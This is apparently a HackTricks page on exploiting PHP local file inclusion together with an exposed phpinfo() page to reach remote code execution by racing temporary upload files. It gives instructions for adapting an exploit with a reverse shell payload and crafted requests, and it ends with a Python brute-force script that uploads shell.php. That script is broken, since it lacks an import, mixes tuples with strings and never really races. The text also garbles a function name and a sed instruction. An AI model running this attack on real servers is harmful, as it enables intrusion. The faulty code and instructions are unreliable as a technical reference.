LFI2RCE via phpinfo()

Support HackTricks

To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.


Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

You need to fix the exploit (change => for =>). To do so you can do:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)


If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.

Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.

In Windows the files are usually stored in C:\Windows\temp\php

In linux the name of the file use to be random and located in /tmp. As the name is random, it is needed to extract from somewhere the name of the temporal file and access it before it is deleted. This can be done reading the value of the variable $_FILES inside the content of the function "phpconfig()".


PHP uses a buffer of 4096B and when it is full, it is send to the client. Then the client can send a lot of big requests (using big headers) uploading a php reverse shell, wait for the first part of the phpinfo() to be returned (where the name of the temporary file is) and try to access the temp file before the php server deletes the file exploiting a LFI vulnerability.

Python script to try to bruteforce the name (if length = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)

print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)

print('[x] Something went wrong, please try again')
Support HackTricks

Last updated